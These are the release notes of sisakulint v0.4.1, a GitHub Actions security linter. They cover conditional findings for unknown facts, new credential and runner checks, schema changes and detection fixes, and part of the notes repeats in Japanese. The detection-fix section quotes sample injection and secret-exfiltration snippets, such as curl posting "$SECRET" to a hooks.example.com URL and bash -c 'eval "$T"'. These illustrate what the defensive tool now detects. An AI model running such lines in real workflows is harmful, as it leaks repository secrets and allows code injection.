Skip to content

v0.4.1

Choose a tag to compare

@github-actions github-actions released this 27 Nov 12:26
· 99 commits to main since this release
82a3566

sisakulint v0.4.1

日本語版はこのページの後半(「sisakulint v0.4.1(日本語)」)にあります。

v0.4.1 is the first update of the v1 linter after v0.4.0. It has 33 pull requests: 26 to the linter and its tests, and 7 Dependabot updates of the actions that the CI of this repository uses. The flags, the exit-code bits, and the names of the JSON schemas stay as in v0.4.0, with one exception: --no-assumptions and the configuration key no-assumptions are removed, because a run now treats every fact that no source answers as not known, as v0.4.0 did with --no-assumptions.

Important

On the same workflows, v0.4.1 can exit with a different code from v0.4.0. A Finding that v0.4.0 reported as confirmed because of an assumed fact is conditional in v0.4.1, and sets bit 2 instead of bit 1. A CI gate that checks only bit 1 (code & 1) passes such a Finding. Fail the gate on any of bits 1, 2, 8, and 16, or answer the facts (--online --repo "$GITHUB_REPOSITORY", --facts, --fact, or fact in --config).

Highlights

  • No assumed facts (#742). When no source (--fact, a file under --root, --facts, --online) answers a fact, a Finding that depends on the fact is conditional, and the Report names the fact. --no-assumptions is removed.
  • A new finding kind, credentials.configuration-variable (#749). A registry password read from a configuration variable (${{ vars.NAME }}) is reported (medium).
  • Trusted self-hosted runners (#744, #792). The new fact repo.runner-label-trusted declares a runner label that no pull request from a fork reaches, and self-hosted-runner does not report a job whose runs-on has the label. A runs-on that reads only matrix values is evaluated.
  • The AI agent rules read the env of the job and of the workflow (#780).
  • The Report says what a run did not read. The new field unread_uses (and not read lines in the text output) lists the reusable workflows and actions of other repositories that a run did not read (#811). The new inconclusive kind commit-sha.local-callee-unread reports a ./ callee that is not among the read files (#786).
  • Fewer missed findings and fewer false positives. The fixes are in the reading of scripts (bash -c '…', declare "$n=…", git -c, parameter expansions), in reachability (if: false steps, jobs that never run on the events of the workflow, the if of a caller job), in local composite actions and local reusable workflows, and in several rules. See "Detection fixes".

Before you upgrade (breaking changes)

A fact that no source answers is not known (#742)

v0.4.0 answered a fact that no source answered with an assumed value (the worst case, the x-assume of the fact kind), and gave a confirmed Finding. v0.4.1 does not assume a value: the fact is not known, and a Finding whose condition depends on the fact is conditional. A default run of v0.4.1 gives the same Findings as a run of v0.4.0 with --no-assumptions.

Measured on the all-rules example of v0.4.0 (actions/rules/testdata/all-rules, with its facts.json):

v0.4.0 v0.4.1 v0.4.0 with --no-assumptions
confirmed 130 90 90
conditional 0 46 46
inconclusive 23 23 23
Exit code 9 (bits 1 + 8) 11 (bits 1 + 2 + 8) 11

40 Findings changed from confirmed to conditional, and 6 Findings were added. The conditions of that run name the facts repo.public, repo.default-token-write, repo.wiki-open, repo.pull-request-target-allowed, repo.fork-pr-run-workflows, repo.allow-forking, checkout.executed, download.executed, repo.environment-protected, and request.destination-trusted.

What changes:

  • Exit code. A run that set bit 1 only because of an assumed fact sets bit 2 instead. A gate that fails on every non-zero exit code fails as before.
  • The Findings of both answers. Where the finding kind depends on the answer to a fact, the run reports the Finding of each answer, both conditional. With repo.public not known: self-hosted-runner.public and self-hosted-runner.private, and the .public and .private kinds of credentials, unmasked-secret-exposure, and secret-in-log. The 6 added Findings above are such *.private Findings. A consumer that does not read certainty sees more rows.
  • Text output. The line assumed: FACT = VALUE (--no-assumptions to drop) is gone. The conditional section lists each finding kind with the facts that are not known and their reason (why:). The reason names the sources that can answer a fact of the kind: offline: pass --facts or --online; offline: pass --facts or --fact, or --online with --repo for a fact of the repository; offline: pass --facts or --fact (--online answers no fact of the kind) for a kind such as checkout.executed; not in the file of facts when --facts was given.
  • SARIF. A conditional result keeps the level of its severity. properties.certainty is conditional, and the message ends with the condition, for example (conditional: the run does not know the answer to the fact repo.default-token-write, and the finding holds for some answers to the fact and not for others; --facts or --fact can give the answer). The fingerprints do not change: on the all-rules example, the 237 results of v0.4.0 have the same ruleId and partialFingerprints in v0.4.1, and the 6 *.private results are new.
  • Texts. --explain, the README, MIGRATION.md, the schemas, and the notes of the examples say that a Finding is conditional when no source answers the fact, instead of saying that the fact is assumed. For the fact kinds of a false positive form, --explain shows "answer that removes the finding" (the opposite of the x-assume value). The example catalog marks the facts of a flipped run "(flipped)".

What to do: answer the facts.

  • --online --repo "$GITHUB_REPOSITORY" (with GITHUB_TOKEN) asks the API for the facts of the repository (repo-setting). repo.default-token-write needs a token that can read the Actions settings of the repository; the GITHUB_TOKEN of a run cannot. repo.pull-request-target-allowed is never asked of the API.
  • Only a user answers checkout.executed, download.executed, request.destination-trusted, repo.action-list, and repo.runner-label-trusted. Write them in a facts file, with --fact, or in fact of --config.

--no-assumptions and the configuration key no-assumptions are removed (#742)

Input v0.4.1
--no-assumptions flag provided but not defined: -no-assumptions, exit code 64
no-assumptions: in the file of --config no-assumptions: not a key (the keys are exclude, fail-on, rule, skip-rule, accept, facts, repo, fact and add-attacker), exit code 66

Remove the flag and the key. The default run behaves as --no-assumptions did. no-assumptions was the only boolean key of the configuration file, so the boolean form of a key is removed too.

Schemas (the names stay v0)

The names of the schemas do not change, but their content does. As the notes of v0.4.0 said, the JSON schemas are not promised to stay compatible in the 0.x releases.

  • sisakulint/facts/v0
    • The value assumption of source is removed. A facts file never had that source (v0.4.0 refused such a file with exit code 66, and v0.4.1 does too), so a facts file that v0.4.0 wrote with --write-facts is read by v0.4.1 as before. An entry of facts with source: assumption in a Report of v0.4.0 does not validate against the schema of v0.4.1.
    • x-assume stays, with a new meaning: the answer under which the findings of the false positive forms that name the kind hold. The opposite answer removes those findings. A run never answers a fact with x-assume.
    • A new fact kind, repo.runner-label-trusted (arguments repo and runner_label), and the new definition runner-label. The schema has 30 fact kinds (29 in v0.4.0).
  • sisakulint/report/v0: a new required field, unread_uses (see below). The Report object has additionalProperties: false, so a Report of v0.4.1 does not validate against the report schema of v0.4.0. The description of certainty: confirmed no longer mentions assumed values.
  • The arguments of the finding kinds (findings-v0.json): the new credentials.configuration-variable (container, password). The description of ai-action-prompt-injection.env now includes the env of the job and of the workflow.
  • sisakulint/registry/v0: descriptions only.

Other changes that can change the exit code

  • credentials (#749). A password that reads vars, and no context other than vars and secrets, was credentials.password-expr: inconclusive, bit 8, counted at the worst severity of the rule (critical). It is now credentials.configuration-variable: confirmed, medium, bit 1. With --fail-on high or --fail-on critical, the place no longer sets a bit.
  • commit-sha (#786). A run that reads a caller but not its ./ callee gives commit-sha.local-callee-unread (inconclusive, bit 8). For example, when caller.yml has uses: ./.github/workflows/callee.yml, sisakulint --root . .github/workflows/caller.yml exited with 0 in v0.4.0, and exits with 8 in v0.4.1. Pass the callee too (… caller.yml callee.yml), use --read-all caller.yml, or accept the place with --accept.
  • Detection fixes. The fixes in "Detection fixes" add Findings that v0.4.0 missed, and remove Findings that were false positives.

What's new

credentials.configuration-variable (#749)

credentials reports a registry password of a container or of services that reads a configuration variable, such as ${{ vars.REGISTRY_PASSWORD }}, as the new finding kind credentials.configuration-variable (medium, confirmed, whatever repo.public is). GitHub keeps the value of a configuration variable as plain text: the runner does not mask the value in the log of a run, and the REST API gives the value to whoever may read the configuration variables of the repository, such as an app with the Variables permission. The remedy is to revoke the password and pass a new one from secrets.

  • A password that reads both secrets and vars (secrets.PW || vars.PW) is reported too: where the secret is not set, the value is the value of the variable.
  • credentials.password-expr (inconclusive) now covers the other contexts (env, inputs, matrix), and a container written as one whole ${{ }}.
  • CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:U. The attacker is log-reader, and the precondition is plain-text-variable.

Trusted self-hosted runners (#744, #792)

  • The fact repo.runner-label-trusted (user-supplied; --online never asks it). The owner declares, once for each label, that no runner with the label runs the code of a pull request from a fork, for example because the runners are in a runner group that only selected workflows on protected refs may use. A job runs only on a runner that has every label of its runs-on, so self-hosted-runner does not report a job whose runs-on has a trusted label. A label that no source answers is not trusted: without a declaration, the Findings are the same as before. The fact does not enter the condition of a Finding, so a confirmed Finding does not become conditional.

    # .github/sisakulint-config.yaml, passed with --config
    fact:
      - 'repo.runner-label-trusted[runner_label=gh-intel-fast]=true'
      - 'repo.runner-label-trusted[runner_label=gh-intel-economy]=true'

    Labels compare without case. With --repo, write the argument repo too (repo.runner-label-trusted[repo=owner/name,runner_label=gh-intel-fast]=true), because an entry without repo does not match a query with repo. Do not declare self-hosted, which every self-hosted runner has, or a label that a GitHub-hosted runner or a runner of another repository may also have. A declaration removes Findings, as the configuration file can, so protect the file with CODEOWNERS or read it from the base branch.

  • Matrix expressions in runs-on. A runs-on that is one whole ${{ }} and reads only matrix variables whose values are all written is evaluated for each combination of the values (at most 256), instead of being self-hosted-runner.runs-on-expr (inconclusive). Example: ${{ matrix.r == 'x' && fromJSON('["self-hosted","x"]') || matrix.r }}.

  • A runs-on that the rule cannot read (runs-on-expr, input-dispatch), such as ${{ vars.X || 'label' }}, is not reported when the facts answer that no pull request from a fork reaches a runner of the repository: repo.public=false, and repo.fork-pr-run-workflows=false or repo.allow-forking=false (#792, closes #793). The run asks those facts only when such a runs-on exists.

  • The remedies of self-hosted-runner.public and self-hosted-runner.private name the fact.

The AI agent rules read the env of the job and of the workflow (#780)

ai-action-prompt-injection, ai-action-excessive-tools, ai-action-execution-order, and ai-action-unsafe-sandbox count the values of the env of the job and of the env of the workflow as values that reach the agent step, because the runner gives those variables to the process of the action. For example, a job with env: ISSUE_BODY: ${{ github.event.issue.body }} and a step of google-github-actions/run-gemini-cli that reads ISSUE_BODY now gives ai-action-prompt-injection.env at the env of the job. v0.4.0 reported nothing there.

  • A variable of the env of the step hides the variable of the same name of the env of the job and of the workflow, and a variable of the env of the job hides the variable of the same name of the env of the workflow. Where runs-on decides a Windows runner, the names compare without case, as actions/runner compares them on Windows. runs-on decides Windows only by the label windows of a self-hosted runner, or when every label is a label of a GitHub-hosted Windows runner; never when a label is linux or macOS. A custom label such as windows-build does not decide Windows.
  • An env of the step or of the job that is one whole ${{ }} may set a variable of any name, so the rules do not read the outer envs of that env.
  • The rules do not read a write to $GITHUB_ENV in an earlier step as replacing a value of the env of the job or of the workflow, because the if of the step, the branches of the script, and the steps between decide whether the write happens.
  • ai-action-prompt-injection reports each reference in a value of the env of the job or of the workflow once, at the env, after reading all the agent steps that the value reaches: the Finding with no condition when a step gives one; otherwise the Finding with a condition, together with the Inconclusive places of the other steps; otherwise one Inconclusive place for each kind. Every step gives such a reference the same fingerprint.
  • With --add-attacker variables-writer or secrets-writer, the note in the evidence of a value of vars or secrets names the variable of the env of the job or of the workflow that the value goes through.
  • New declarations: the false positive forms unknown-os-case and github-env-write (the four rules); the undetected forms job-env-composite (the four rules: the agent step is a step of a composite action), whole-env (ai-action-excessive-tools, ai-action-execution-order, and ai-action-unsafe-sandbox), and windows-label-other-os (the four rules). The undetected form whole-with of ai-action-prompt-injection now covers the env of the job and of the workflow. The undetected forms job-env and job-env-value-run are removed, and their examples are true positives.

unread_uses: the uses that a run did not read (#811)

In a run without --online and without an answer in --facts, the rules do not read the reusable workflows and the actions of other repositories, and the Report of v0.4.0 said nothing about it. v0.4.1 lists each such uses in the new Report field unread_uses: its location, the uses as written, the fact (query: workflow.definition for the uses of a job, action.definition for the uses of a step), and the reason (offline: pass --facts or --online, not in the file of facts, or no rule that ran asked the fact when --rule ran no rule that asks the fact).

  • There is one entry for each place, whatever the rules that ran. A place whose fact was answered (--facts) or asked (--online) is not listed.
  • The text output prints one line for each entry, after the not run lines: not read FILE:LINE:COLUMN USES: KIND: REASON.
  • An entry is not a Finding: it sets no bit of the exit code, and --accept does not apply to it. --format line and SARIF do not print the entries.

commit-sha.local-callee-unread (#786)

commit-sha said nothing when the file of a ./ callee was not among the read files, so the uses inside the callee were not checked. v0.4.1 reports the new inconclusive kind local-callee-unread (disposition todo, needs repo-file) at the uses of the caller, for a job that calls ./.github/workflows/<file> and for a step of a workflow that uses ./<dir>. A job that never runs is left out. The ./ steps inside a composite action are not covered, because they name the workspace of the job.

secret-exfiltration in a fork-only pull_request job (#809)

A pull_request run for a pull request from a fork gets no secret except GITHUB_TOKEN, unless the repository sends secrets to the workflows of pull requests from forks. For a job whose if lets only pull requests from forks through (for example github.event.pull_request.head.repo.fork == true), and for a secret other than GITHUB_TOKEN, the condition of secret-exfiltration.untrusted-destination is now request.destination-trusted = false and repo.fork-pr-secrets = true. With repo.fork-pr-secrets=false, the rule reports nothing; without an answer, the Finding is conditional. A job with no if, a job whose if also lets pull requests from branches of the repository through, and a workflow with another event (on: [pull_request, push]) keep the Finding.

--add-attacker with two values (#803)

A Finding marked with more than one added attacker carries the evidence and the related entries of the run of each attacker. v0.4.0 kept the entries of one run only, and lost, for example, the vars.* note of ai-action-excessive-tools under --add-attacker variables-writer,secrets-writer.


Detection fixes

Findings that v0.4.0 missed

  • bash -c and sh -c (#748). The code after -c of bash or sh that is one word in single quotes is read as a script of its own, also with a wrapper such as sudo and with clustered options such as -ec. The rules that read code, requests, and writes to $GITHUB_ENV, $GITHUB_PATH, and $GITHUB_OUTPUT in a script read it: bash -c 'eval "$T"' (code-injection), bash -c 'echo "X=$T" >> "$GITHUB_ENV"' (envvar-injection), sh -c 'curl -d "$TOK" …' (secret-exfiltration). A variable that the script assigns before the command does not count as the value of the env. Code in double quotes and concatenated code are still not read (the undetected forms env-variable-nested and nested-shell are narrowed to those).
  • declare "$n=…" (#794). declare, declare -g, local, export, and readonly with a word "$n=value" (or ${n}=value) are read as an assignment when n holds one literal name on every path. For example, n=out; declare "$n=$GITHUB_ENV"; echo "V=$V" >> "$out" is now envvar-injection.controlled. The forms name-not-literal are narrowed to an n with no single literal name, such as n=$(printf NAME).
  • Several values of a destination (#788). secret-exfiltration and the reading of requests judge every assignment of a variable that reaches the destination word (up to 8 values for each word), not only the last one in the text. if c; then U=https://hooks.example.com; else U=https://api.github.com; fi; curl -d "$SECRET" "$U" is now secret-exfiltration.untrusted-destination. Still undetected: a value that goes through a copy (U=$A, form several-destination-values), two variables that are set together (several-destination-variables), and more than 8 assignments (destination-value-limit).
  • A whole with of a local composite action (#806). When a step writes with as one ${{ }} (with: ${{ fromJSON(github.event.issue.body) }}), every input of the local composite action gets the whole expression, so the rules that read inputs.<id> inside the action report it.
  • cache-poisoning inside local composite actions (#754). The kinds attacker-key and attacker-path read the actions/cache and actions/cache/save steps inside the local composite actions that a job runs. The Finding is at the step in action.yml, and its evidence names the uses of the caller.
  • actions/labeler inside local reusable workflows and composite actions (#757). A labeler step there is read on the events that its callers in the repository run it on (filtered by the if of the callers). untrusted-checkout, cache-poisoning, ai-action-unrestricted-trigger, unsound-contains, and artifact-poisoning no longer read such a labeled run as approved by a person. The undetected form labeler-call is removed from the five rules.
  • artifact-poisoning in a labeled run (#810). A run in which one job builds the code of the pull request and uploads an artifact, and another job of the same run downloads and runs it, is reported when the label is free for the attacker (for example, actions/labeler adds it). A job with an environment is still excluded. The undetected form labeler-same-run is removed.
  • untrusted-checkout and artifact-poisoning (#820) report .executed instead of .checkout or .download (which depend on checkout.executed or download.executed) for bun, deno (task, run, test, bench, serve, install), cargo +<toolchain> …, the camelCase names of npm commands (npm cleanInstall), rake -C/--directory/-f/--rakefile, bundle --gemfile, and the operands of dotnet (dotnet build pr/app.csproj).
  • unmasked-secret-exposure (#821). An output such as ${{ toJSON(github.event_name == 'push' && env) }}-… or ${{ env[github.event_name] }}-… is followed to the jobs that read it. v0.4.0 read such an output as one that the runner drops. The undetected form output-with-secret is narrowed to a secret that is empty in some runs.
  • bot-conditions (#747). A reusable workflow whose callers are not all known, such as one that a workflow of the same repository calls by owner/repo/.github/workflows/<file>@<ref>, is read on every event, so a comparison with a bot in it is reported. The undetected form caller-by-repository-name is removed.

False positives that v0.4.1 removes

  • Steps and jobs that never run (#746). A run step whose if is false on every event of the workflow (if: false) gives no Finding. A uses step still does, because the pre step of an action runs whatever its if is. github.event.pull_request.merged is false on opened and reopened of pull_request and pull_request_target, so a job with if: github.event.pull_request.merged == true on those types never runs. The false positive form permissions.job-never-runs is removed.
  • A local reusable workflow whose callers never run (#797). A local reusable workflow gives no Finding when its on has only workflow_call, all its callers are known, and every caller job never runs (or is itself in such a workflow).
  • Steps that never run, in two more rules (#796). In untrusted-checkout, a step that never runs no longer makes a checkout .executed (with no other step, the Finding is .checkout, conditional on checkout.executed). unmasked-secret-exposure leaves out a run step that never runs.
  • The events of a workflow (#753). One reading of on is shared by the rules. pull_request and pull_request_target without types run on opened, synchronize, and reopened. In a called workflow, github.event_name is the event of the caller, never workflow_call. So a job with if: github.event.action == 'closed' under on: pull_request, and a job with if: github.event_name == 'workflow_call' in a called workflow, never run and give no Finding. The saves_on of cache-bloat is sorted (pull_request, push).
  • The if of a caller (#747). An if of a caller job that narrows a value (for example github.head_ref) also narrows the value inside the called workflow and the composite action, when the if of every caller chain narrows it.
  • git -c (#750). The value of git -c KEY=VALUE (and --config-env) counts as code only when KEY is not one of the keys whose value git keeps as data (user.name, user.email, author.*, committer.*, core.autocrlf, init.defaultBranch, http.extraHeader, and others), when the key is not literal, or when the word has an expansion outside quotes. git -c user.name="$TITLE" commit is no longer code-injection.env-variable. A data key outside the list (such as merge.conflictStyle) is still reported (the false positive form git-config-value is narrowed to it).
  • Parameter expansions that remove every line break (#799). envvar-injection reads the pattern of ${V%%X*} and ${V##*X} as bash does, and gives no Finding when X is a quoted line break, or a bracket expression with a line break, [:space:], or [:cntrl:] (for example %%[[:space:]_]*, %%[$' \n']*, ##*[[:space:]]). %, #, [:blank:], [ ], a negation, and a missing * still give a Finding.
  • Fork-only pull_request jobs in secret-exfiltration (#809) and runs-on that the rule cannot read in self-hosted-runner (#792): see "What's new".
  • declare "$n=…" with one literal name (#794) gives no Finding where the assignment makes the value safe, in code-injection, request-forgery, set-output-injection, and unsecure-commands.

The declarations in the registry

--registry has 79 finding kinds (78 in v0.4.0), 261 inconclusive kinds (260), 613 undetected forms (611), and 387 false positive forms (380).

Change Declarations
Finding kind added credentials.configuration-variable
Inconclusive kind added commit-sha.local-callee-unread
Undetected forms added job-env-composite (4 AI agent rules), whole-env (3), windows-label-other-os (4), secret-exfiltration.destination-value-limit, secret-exfiltration.several-destination-variables
Undetected forms removed job-env and job-env-value-run (AI agent rules), labeler-call (ai-action-unrestricted-trigger, artifact-poisoning, cache-poisoning, unsound-contains, untrusted-checkout), artifact-poisoning.labeler-same-run, bot-conditions.caller-by-repository-name
Undetected forms narrowed env-variable-nested, nested-shell, name-not-literal, several-destination-values, output-with-secret
False positive forms added unknown-os-case, github-env-write (4 AI agent rules)
False positive forms removed permissions.job-never-runs
False positive forms narrowed code-injection.git-config-value, name-not-literal

Build, packaging, and development

  • Release assets: sisakulint_0.4.1_darwin_amd64.tar.gz, sisakulint_0.4.1_darwin_arm64.tar.gz, sisakulint_0.4.1_linux_amd64.tar.gz, sisakulint_0.4.1_linux_arm64.tar.gz, sisakulint_0.4.1_linux_armv6.tar.gz, and sisakulint_0.4.1_checksums.txt, as in v0.4.0.
  • Go and dependencies: go.mod still requires Go 1.26.11, and the linter still requires no third-party module.
  • Tests: the example undetected/code-injection/env-variable-coproc.yml read the output of a coproc after the coproc could exit, so TestExampleAttacks sometimes got no harm. The example now copies the descriptor first (#790, fixes #789).
  • CI of this repository (Dependabot): github/codeql-action v4.37.4 → v4.39.4 (#573, #775), actions/upload-artifact 7.0.1 → 7.0.2 (#665), goreleaser/goreleaser-action 7.2.3 → 7.3.0 (#666), ossf/scorecard-action 2.4.4 → 2.6.0 (#667, #777), actions/setup-go 7.0.0 → 7.1.0 (#776). These change only the workflows of this repository.

Compatibility from here

The JSON schemas are still sisakulint/report/v0, sisakulint/registry/v0, sisakulint/facts/v0, and sisakulint/acceptances/v0. As with v0.4.0, later 0.x releases do not promise that the JSON schemas and the Go packages stay compatible.

Upgrade checklist

  1. Remove --no-assumptions from scripts and the key no-assumptions from configuration files.
  2. Check the exit-code handling: a run can set bit 2 where it set bit 1. Fail on any of bits 1, 2, 8, and 16.
  3. Run once with --format json (or read the conditional section of the text output) and answer the facts that are not known: --online --repo "$GITHUB_REPOSITORY", a facts file, --fact, or fact in --config.
  4. If your jobs run on self-hosted runners that no pull request from a fork reaches, declare their labels with repo.runner-label-trusted.
  5. If you lint only some files, pass the ./ callees too, or use --read-all, so that commit-sha.local-callee-unread does not set bit 8.
  6. If you validate the Report or the facts file against the schemas, use the schemas of v0.4.1.
  7. Read unread_uses to see the uses that a default run did not read, and give --online or --facts to read them.

Pull requests

  • #742 Give conditional Findings for unknown facts instead of assuming the worst-case value, and remove --no-assumptions (closes #727) (@on-keyday)
  • #744 self-hosted-runner: trusted runner labels and matrix runs-on expressions (@HikaruEgashira)
  • #746 Decide the reachability of jobs and steps in one place and apply it to every rule (fixes #714) (hikaevi[bot])
  • #747 Carry the if of the caller job and the set of callers into the reading of a called workflow (fixes #715) (hikaevi[bot])
  • #748 Read the code of bash -c and sh -c as nested scripts in every rule that reads the flow of a script (fixes #716) (hikaevi[bot])
  • #749 Report a registry password read from a configuration variable (@HikaruEgashira)
  • #750 Stop treating every git -c value as code (fixes #718) (hikaevi[bot])
  • #753 Compute the events of a job and whether it runs only when called in one shared function (fixes #713) (hikaevi[bot])
  • #754 Read the cache-poisoning kinds attacker-key and attacker-path inside local composite actions (fixes #719) (hikaevi[bot])
  • #757 Read actions/labeler inside local reusable workflows and composite actions (fixes #720) (hikaevi[bot])
  • #780 Count the env of the job and of the workflow as values that reach an AI agent step (closes #722; continues #758 by hikaevi[bot]) (@on-keyday)
  • #786 commit-sha: report an Inconclusive when a local callee is not among the read files (fixes #721) (hikaevi[bot])
  • #788 Judge every reaching assignment of a variable in the secret flow and in request destinations (fixes #755) (hikaevi[bot])
  • #790 Make the coproc example of TestExampleAttacks deterministic (fixes #789) (hikaevi[bot])
  • #792 self-hosted-runner: leave out an unread runs-on when no pull request from a fork reaches a runner (closes #793) (@HikaruEgashira)
  • #794 Read declare "$n=..." as an assignment when n has one known literal value (fixes #756) (hikaevi[bot])
  • #796 Make untrusted-checkout and unmasked-secret-exposure read the never-runs answer of a step (fixes #763) (hikaevi[bot])
  • #797 Give no Finding in a local reusable workflow whose only caller jobs never run (fixes #764) (hikaevi[bot])
  • #799 envvar-injection: no Finding for a value from which a parameter expansion removed every line break (fixes #692) (hikaevi[bot])
  • #803 With two --add-attacker values, keep the evidence of every attacker (fixes #694) (hikaevi[bot])
  • #806 Read an attacker-controlled value passed to a local composite action as a whole with (fixes #695) (hikaevi[bot])
  • #809 secret-exfiltration: no Finding for a fork-only pull_request job when repo.fork-pr-secrets is false (fixes #804) (hikaevi[bot])
  • #810 artifact-poisoning: report a labeled run that runs an artifact built from the pull request by another job of the same run (fixes #697) (hikaevi[bot])
  • #811 List the reusable workflows and actions of other repositories that a run did not read (unread_uses) (fixes #696) (hikaevi[bot])
  • #820 untrusted-checkout: report .executed for bun, deno, cargo +toolchain, camelCase npm commands, and rake, bundle and dotnet given a path into the checkout (fixes #699) (hikaevi[bot])
  • #821 unmasked-secret-exposure: follow A && B and env[INDEX] with an unknown INDEX (fixes #817) (hikaevi[bot])
  • #573, #665, #666, #667, #775, #776, #777 Dependabot updates of the actions of the CI (dependabot[bot])

Full Changelog: v0.4.0...v0.4.1


sisakulint v0.4.1(日本語)

v0.4.1 は、v0.4.0 以降で最初の v1 linter の更新です。プルリクエストは 33 件で、linter とそのテストへの変更が 26 件、このリポジトリの CI が使う action の Dependabot による更新が 7 件です。フラグ、exit code のビット、JSON スキーマの名前は v0.4.0 のままですが、例外が 1 つあります。--no-assumptions と設定キー no-assumptions を削除しました。どこからも回答のない fact を、常に不明として扱うようになったためです(v0.4.0 で --no-assumptions を付けたときと同じ動作です)。

Important

同じ workflow に対して、v0.4.1 は v0.4.0 と異なる exit code を返すことがあります。v0.4.0 が仮定した fact によって confirmed と報告していた Finding は、v0.4.1 では conditional になり、ビット 1 の代わりにビット 2 を立てます。ビット 1 だけを確認する CI ゲート(code & 1)は、そのような Finding を通してしまいます。ゲートはビット 1、2、8、16 のいずれかが立っていたら失敗させるか、fact に回答してください(--online --repo "$GITHUB_REPOSITORY"、--facts、--fact、--config の fact)。

ハイライト

  • fact を仮定しない(#742)。 どこからも(--fact、--root 以下のファイル、--facts、--online)回答のない fact に依存する Finding は conditional になり、Report にその fact が示されます。--no-assumptions は削除しました。
  • 新しい finding kind credentials.configuration-variable(#749)。 configuration variable(${{ vars.NAME }})から読んだレジストリのパスワードを報告します(medium)。
  • 信頼済みの self-hosted runner(#744、#792)。 新しい fact repo.runner-label-trusted で、フォークからのプルリクエストが届かない runner のラベルを宣言できます。runs-on にそのラベルを持つジョブを self-hosted-runner は報告しません。matrix の値だけを読む runs-on は評価されるようになりました。
  • AI エージェントのルールが、ジョブと workflow の env を読むようになりました(#780)。
  • 実行が読まなかったものを Report が示すようになりました。 新しいフィールド unread_uses(とテキスト出力の not read 行)に、実行が読まなかった他リポジトリの reusable workflow と action を列挙します(#811)。新しい inconclusive kind commit-sha.local-callee-unread は、読んだファイルに含まれない ./ の呼び出し先を報告します(#786)。
  • 見逃しと誤検知の削減。 スクリプトの読み取り(bash -c '…'、declare "$n=…"、git -c、パラメータ展開)、到達性(if: false のステップ、workflow のイベントでは実行されないジョブ、呼び出し元ジョブの if)、ローカルの composite action とローカルの reusable workflow、いくつかのルールを修正しました。「検出の修正」を参照してください。

アップグレードの前に(破壊的変更)

どこからも回答のない fact は不明として扱う(#742)

v0.4.0 は、どこからも回答のない fact に仮定の値(最悪の場合、fact kind の x-assume)で回答し、confirmed の Finding を出していました。v0.4.1 は値を仮定しません。その fact は不明となり、条件がその fact に依存する Finding は conditional になります。v0.4.1 のデフォルトの実行は、v0.4.0 を --no-assumptions 付きで実行したときと同じ Finding を返します。

v0.4.0 の all-rules の例(actions/rules/testdata/all-rules、同梱の facts.json を使用)での測定結果:

v0.4.0 v0.4.1 v0.4.0 + --no-assumptions
confirmed 130 90 90
conditional 0 46 46
inconclusive 23 23 23
exit code 9(ビット 1 + 8) 11(ビット 1 + 2 + 8) 11

40 件の Finding が confirmed から conditional に変わり、6 件の Finding が増えました。この実行の条件に現れた fact は、repo.public、repo.default-token-write、repo.wiki-open、repo.pull-request-target-allowed、repo.fork-pr-run-workflows、repo.allow-forking、checkout.executed、download.executed、repo.environment-protected、request.destination-trusted です。

変わる点:

  • exit code。 仮定した fact のためだけにビット 1 を立てていた実行は、代わりにビット 2 を立てます。0 以外の exit code で失敗するゲートは、これまでどおり失敗します。
  • 両方の回答の Finding。 fact の回答によって finding kind が変わる箇所では、それぞれの回答の Finding を両方とも conditional として報告します。repo.public が不明な場合、self-hosted-runner.public と self-hosted-runner.private、および credentials、unmasked-secret-exposure、secret-in-log の .public と .private です。上で増えた 6 件は、この *.private の Finding です。certainty を読まない利用者には、行が増えたように見えます。
  • テキスト出力。 assumed: FACT = VALUE (--no-assumptions to drop) の行はなくなりました。conditional の節に、finding kind ごとに不明な fact とその理由(why:)を表示します。理由は、その kind の fact に回答できる手段を示します。offline: pass --facts or --online、リポジトリの fact では offline: pass --facts or --fact, or --online with --repo、checkout.executed などの kind では offline: pass --facts or --fact (--online answers no fact of the kind)、--facts を渡したときは not in the file of facts です。
  • SARIF。 conditional の result は、severity に応じた level のままです。properties.certainty は conditional になり、メッセージの末尾に条件が付きます(例: (conditional: the run does not know the answer to the fact repo.default-token-write, and the finding holds for some answers to the fact and not for others; --facts or --fact can give the answer))。fingerprint は変わりません。all-rules の例では、v0.4.0 の 237 件の result は v0.4.1 でも同じ ruleId と partialFingerprints を持ち、6 件の *.private が新しい result です。
  • 文書。 --explain、README、MIGRATION.md、スキーマ、例の注記は、fact を仮定すると書く代わりに、どこからも回答がなければ Finding は conditional になると書くようになりました。false positive form の fact kind について、--explain は「answer that removes the finding」(x-assume の値の反対)を表示します。例のカタログでは、回答を反転した実行の fact に「(flipped)」と付きます。

対応: fact に回答してください。

  • --online --repo "$GITHUB_REPOSITORY"(GITHUB_TOKEN が必要)は、リポジトリの fact(repo-setting)を API に問い合わせます。repo.default-token-write には、リポジトリの Actions の設定を読めるトークンが必要です。実行中の GITHUB_TOKEN では読めません。repo.pull-request-target-allowed は API に問い合わせません。
  • checkout.executed、download.executed、request.destination-trusted、repo.action-list、repo.runner-label-trusted に回答できるのは利用者だけです。facts ファイル、--fact、--config の fact に書いてください。

--no-assumptions と設定キー no-assumptions を削除(#742)

入力 v0.4.1
--no-assumptions flag provided but not defined: -no-assumptions、exit code 64
--config のファイルの no-assumptions: no-assumptions: not a key (the keys are exclude, fail-on, rule, skip-rule, accept, facts, repo, fact and add-attacker)、exit code 66

フラグとキーを削除してください。デフォルトの実行が、これまでの --no-assumptions と同じ動作をします。no-assumptions は設定ファイルで唯一の真偽値のキーだったため、真偽値のキーの形式もなくなりました。

スキーマ(名前は v0 のまま)

スキーマの名前は変わりませんが、内容は変わります。v0.4.0 のリリースノートに書いたとおり、0.x のリリースでは JSON スキーマの互換性を約束していません。

  • sisakulint/facts/v0
    • source の値 assumption を削除しました。facts ファイルがこの source を持つことはなかったため(v0.4.0 でもそのようなファイルは exit code 66 で拒否し、v0.4.1 も同様です)、v0.4.0 が --write-facts で書いた facts ファイルは、v0.4.1 でもそのまま読めます。v0.4.0 の Report の facts で source: assumption を持つエントリは、v0.4.1 のスキーマでは検証に通りません。
    • x-assume は残りますが、意味が変わりました。その kind を挙げる false positive form の Finding が成り立つ回答で、反対の回答がそれらの Finding を取り除きます。実行が x-assume で fact に回答することはありません。
    • 新しい fact kind repo.runner-label-trusted(引数 repo と runner_label)と、新しい定義 runner-label を追加しました。fact kind は 30 個です(v0.4.0 は 29 個)。
